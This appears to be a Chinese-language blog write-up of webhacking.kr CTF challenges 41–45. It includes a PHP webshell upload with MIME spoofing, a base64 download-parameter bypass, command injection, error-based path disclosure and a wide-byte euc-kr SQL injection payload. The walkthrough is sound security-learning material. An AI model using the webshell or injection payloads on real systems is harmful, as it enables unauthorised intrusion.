Albert Huang
MED student | CS enthusiast
old-41
本題考點:Maximum filename length、error_reporting 讀取目錄
給了一個上傳的地方,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php include "../../config.php"; include "./inc.php"; if($_GET['view_source']) view_source(); error_reporting(E_ALL); ini_set("display_errors", 1); ?><html> <head> <title>Challenge 41</title> </head> <body> <?php if(isset($_FILES['up']) && $_FILES['up']){ $fn = $_FILES['up']['name']; $fn = str_replace(".","",$fn); $fn = str_replace("<","",$fn); $fn = str_replace(">","",$fn); $fn = str_replace("/","",$fn);
$cp = $_FILES['up']['tmp_name']; copy($cp,"./{$upload_dir}/{$fn}"); $f = @fopen("./{$upload_dir}/{$fn}","w"); @fwrite($f,$flag); @fclose($f); echo("Done~"); } ?> <form method=post enctype="multipart/form-data"> <input type=file name=up><input type=submit value='upload'> </form> <a href=./?view_source=1>view-source</a> </body> </html>
|
可以看到它在移除上傳檔案檔名中的 .<>/ 四種字元之後,會將 flag 寫入 ./{$upload_dir}/{$fn},但我們並不知道 $upload_dir 是什麼,因此無法直接讀取 flag。但第 5 行存在另一個漏洞,它會讓網站在上傳錯誤時把錯誤訊息印出,因此可能可以透過它來找到 $upload_dir。
最簡單的方式是 Linux 存在上傳檔名長度限制:
https://serverfault.com/questions/9546/filename-length-limits-on-linux
可以發現長度限制為 255 個字元,因此只要超過這個限制就會報錯。
使用 BurpSuite 上傳檔名過長檔案找到 $upload_dir,並且上傳一個正常檔案即可讀取拿到 flag。
old-42
題目給了一個可以下載檔案的地方,很明顯我們需要讀取 flag.docx,但按下後會顯示 Access Denied,但 test.txt 則可以正常下載,來看一下 source code:
1 2 3 4 5
| <table border="1" align="center" width="300"> <tbody><tr><td width="50">no</td><td>subject</td><td>file</td></tr> <tr><td>2</td><td>test</td><td>test.txt [<a href="?down=dGVzdC50eHQ=">download</a>]</td></tr> <tr><td>1</td><td>read me</td><td>flag.docx [<a href="javascript:alert("Access%20Denied")">download</a>]</td></tr> </tbody></table>
|
可以發現 test.txt 的連結是一個特別的 GET 參數,看起來很像 base64,來試試看:
1 2
| $ echo "dGVzdC50eHQ=" | base64 -d test.txt
|
因此可以發現將檔名 base64 編碼後放到 down 參數後即可下載該檔案,用這個方法下載 flag.docx 即可拿到 flag。
old-43
本題考點:Webshell upload、MIME Spoofing
題目開宗明義地講了我們需要做的事:
1
| You must upload webshell and cat /flag
|
因此嘗試上傳一個最簡單的 shell.php:
1 2 3
| <?php system($_GET['cmd']); ?>
|
上傳後顯示 wrong type,因此嘗試使用 BurpSuite 將 type 改為 text 即可上傳,直接透過 shell 拿到 flag。
old-44
題目給了一個輸入框,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php if($_GET['view_source']){ highlight_file(__FILE__); exit; } ?><html> <head> <title>Challenge 44</title> </head> <body> <?php if($_POST['id']){ $id = $_POST['id']; $id = substr($id,0,5); system("echo 'hello! {$id}'"); } ?> <center> <form method=post action=index.php name=htmlfrm> name : <input name=id type=text maxlength=5><input type=submit value='submit'> </form> <a href=./?view_source=1>view-source</a> </center> </body> </html>
|
很明顯是個 Command Injection 的題目,而我們需要將括號閉合後執行自己的指令,因此先嘗試以下 Payload:
可以找到 flag 的檔案,直接拜訪該檔案即可獲得 flag。
old-45
又是一個 SQL 題,直接使用預設 guest 登入會顯示 hi guest,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 45</title> </head> <body> <h1>SQL INJECTION</h1> <form method=get> id : <input name=id value=guest><br> pw : <input name=pw value=guest><br> <input type=submit> </form> <hr><a href=./?view_source=1>view-source</a><hr> <?php if($_GET['id'] && $_GET['pw']){ $db = dbconnect(); $_GET['id'] = addslashes($_GET['id']); $_GET['pw'] = addslashes($_GET['pw']); $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr'); if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit(); if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit(); $result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')")); if($result){ echo "hi {$result['id']}"; if($result['id'] == "admin") solve(45); } else echo("Wrong"); } ?> </body> </html>
|
先來看一下他把 id 和 pw 讀進來之後做了什麼事:
1 2 3
| $_GET['id'] = addslashes($_GET['id']); $_GET['pw'] = addslashes($_GET['pw']); $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
|
首先它會先將 ' 等字元加上反斜線 \ 來跳脫成 \',讓我們不能成功的閉合引號。但接著他使用了 mb_convert_encoding() 這個函式,來將編碼從 euc-kr 改為 utf-8,其中 euc-kr 是韓文專用的編碼,可能會出現兩字節的寬字節來表示韓文的情況,因此例如 %aa\ 在 UTF-8 就會無法顯示變成 null,這樣就可以把跳脫的 \ 處理掉了。
接著它限制了 id 和 pw 中不能出現 admin、select、limit、pw、=>< 字元,因此要輸入 admin 需要改為 hex 處理,而不能出現 = 的部分則用 like 替代。
嘗試以下 payload:
1 2
| select id from chall45 where id='%aa\' or id like 0x61646d696e#' and pw=md5('M3t30r') = select id from chall45 where id='' or id like 0x61646d696e#
|
URL encode 之後放到瀏覽器參數中即可過關。